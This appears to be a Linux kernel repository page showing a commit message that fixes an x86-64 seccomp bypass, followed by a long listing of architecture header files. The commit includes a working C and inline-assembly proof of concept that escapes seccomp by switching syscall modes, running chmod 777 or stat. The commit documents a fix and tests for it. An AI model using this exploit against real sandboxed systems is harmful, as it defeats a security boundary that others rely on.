5b1017404a
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> |
||
---|---|---|
.. | ||
bigsmp | ||
es7000 | ||
mach-default | ||
mach-generic | ||
mach-rdc321x | ||
mach-voyager | ||
numaq | ||
summit | ||
uv | ||
visws | ||
xen | ||
a.out-core.h | ||
a.out.h | ||
acpi.h | ||
agp.h | ||
alternative-asm.h | ||
alternative.h | ||
amd_iommu_types.h | ||
amd_iommu.h | ||
apic.h | ||
apicdef.h | ||
arch_hooks.h | ||
asm.h | ||
atomic_32.h | ||
atomic_64.h | ||
atomic.h | ||
auxvec.h | ||
bios_ebda.h | ||
bitops.h | ||
boot.h | ||
bootparam.h | ||
bug.h | ||
bugs.h | ||
byteorder.h | ||
cache.h | ||
cacheflush.h | ||
calgary.h | ||
calling.h | ||
checksum_32.h | ||
checksum_64.h | ||
checksum.h | ||
cmpxchg_32.h | ||
cmpxchg_64.h | ||
cmpxchg.h | ||
compat.h | ||
cpu.h | ||
cpufeature.h | ||
cputime.h | ||
current.h | ||
debugreg.h | ||
delay.h | ||
desc_defs.h | ||
desc.h | ||
device.h | ||
div64.h | ||
dma-mapping.h | ||
dma.h | ||
dmi.h | ||
ds.h | ||
dwarf2.h | ||
e820.h | ||
edac.h | ||
efi.h | ||
elf.h | ||
emergency-restart.h | ||
errno.h | ||
fb.h | ||
fcntl.h | ||
fixmap_32.h | ||
fixmap_64.h | ||
fixmap.h | ||
floppy.h | ||
frame.h | ||
ftrace.h | ||
futex.h | ||
gart.h | ||
genapic_32.h | ||
genapic_64.h | ||
genapic.h | ||
geode.h | ||
gpio.h | ||
hardirq_32.h | ||
hardirq_64.h | ||
hardirq.h | ||
highmem.h | ||
hpet.h | ||
hugetlb.h | ||
hw_irq.h | ||
hypertransport.h | ||
hypervisor.h | ||
i387.h | ||
i8253.h | ||
i8259.h | ||
ia32_unistd.h | ||
ia32.h | ||
idle.h | ||
intel_arch_perfmon.h | ||
io_32.h | ||
io_64.h | ||
io_apic.h | ||
io.h | ||
ioctl.h | ||
ioctls.h | ||
iomap.h | ||
iommu.h | ||
ipcbuf.h | ||
ipi.h | ||
irq_regs_32.h | ||
irq_regs_64.h | ||
irq_regs.h | ||
irq_remapping.h | ||
irq_vectors.h | ||
irq.h | ||
irqflags.h | ||
ist.h | ||
k8.h | ||
Kbuild | ||
kdebug.h | ||
kexec.h | ||
kgdb.h | ||
kmap_types.h | ||
kprobes.h | ||
kvm_host.h | ||
kvm_para.h | ||
kvm_x86_emulate.h | ||
kvm.h | ||
ldt.h | ||
lguest_hcall.h | ||
lguest.h | ||
linkage.h | ||
local.h | ||
math_emu.h | ||
mc146818rtc.h | ||
mca_dma.h | ||
mca.h | ||
mce.h | ||
microcode.h | ||
mman.h | ||
mmconfig.h | ||
mmu_context_32.h | ||
mmu_context_64.h | ||
mmu_context.h | ||
mmu.h | ||
mmx.h | ||
mmzone_32.h | ||
mmzone_64.h | ||
mmzone.h | ||
module.h | ||
mpspec_def.h | ||
mpspec.h | ||
msgbuf.h | ||
msidef.h | ||
msr-index.h | ||
msr.h | ||
mtrr.h | ||
mutex_32.h | ||
mutex_64.h | ||
mutex.h | ||
nmi.h | ||
nops.h | ||
numa_32.h | ||
numa_64.h | ||
numa.h | ||
numaq.h | ||
olpc.h | ||
page_32.h | ||
page_64.h | ||
page.h | ||
param.h | ||
paravirt.h | ||
parport.h | ||
pat.h | ||
pci_32.h | ||
pci_64.h | ||
pci_x86.h | ||
pci-direct.h | ||
pci.h | ||
pda.h | ||
percpu.h | ||
pgalloc.h | ||
pgtable_32.h | ||
pgtable_64.h | ||
pgtable-2level-defs.h | ||
pgtable-2level.h | ||
pgtable-3level-defs.h | ||
pgtable-3level.h | ||
pgtable.h | ||
poll.h | ||
posix_types_32.h | ||
posix_types_64.h | ||
posix_types.h | ||
prctl.h | ||
processor-cyrix.h | ||
processor-flags.h | ||
processor.h | ||
proto.h | ||
ptrace-abi.h | ||
ptrace.h | ||
pvclock-abi.h | ||
pvclock.h | ||
reboot_fixups.h | ||
reboot.h | ||
required-features.h | ||
resource.h | ||
resume-trace.h | ||
rio.h | ||
rtc.h | ||
rwlock.h | ||
rwsem.h | ||
scatterlist.h | ||
seccomp_32.h | ||
seccomp_64.h | ||
seccomp.h | ||
sections.h | ||
segment.h | ||
sembuf.h | ||
serial.h | ||
setup.h | ||
shmbuf.h | ||
shmparam.h | ||
sigcontext32.h | ||
sigcontext.h | ||
sigframe.h | ||
siginfo.h | ||
signal.h | ||
smp.h | ||
socket.h | ||
sockios.h | ||
sparsemem.h | ||
spinlock_types.h | ||
spinlock.h | ||
srat.h | ||
stacktrace.h | ||
stat.h | ||
statfs.h | ||
string_32.h | ||
string_64.h | ||
string.h | ||
suspend_32.h | ||
suspend_64.h | ||
suspend.h | ||
svm.h | ||
swab.h | ||
swiotlb.h | ||
sync_bitops.h | ||
sys_ia32.h | ||
syscall.h | ||
syscalls.h | ||
system_64.h | ||
system.h | ||
tce.h | ||
termbits.h | ||
termios.h | ||
therm_throt.h | ||
thread_info.h | ||
time.h | ||
timer.h | ||
timex.h | ||
tlb.h | ||
tlbflush.h | ||
topology.h | ||
trampoline.h | ||
traps.h | ||
tsc.h | ||
types.h | ||
uaccess_32.h | ||
uaccess_64.h | ||
uaccess.h | ||
ucontext.h | ||
unaligned.h | ||
unistd_32.h | ||
unistd_64.h | ||
unistd.h | ||
user32.h | ||
user_32.h | ||
user_64.h | ||
user.h | ||
vdso.h | ||
vga.h | ||
vgtod.h | ||
vic.h | ||
virtext.h | ||
vm86.h | ||
vmi_time.h | ||
vmi.h | ||
vmware.h | ||
vmx.h | ||
voyager.h | ||
vsyscall.h | ||
xcr.h | ||
xor_32.h | ||
xor_64.h | ||
xor.h | ||
xsave.h |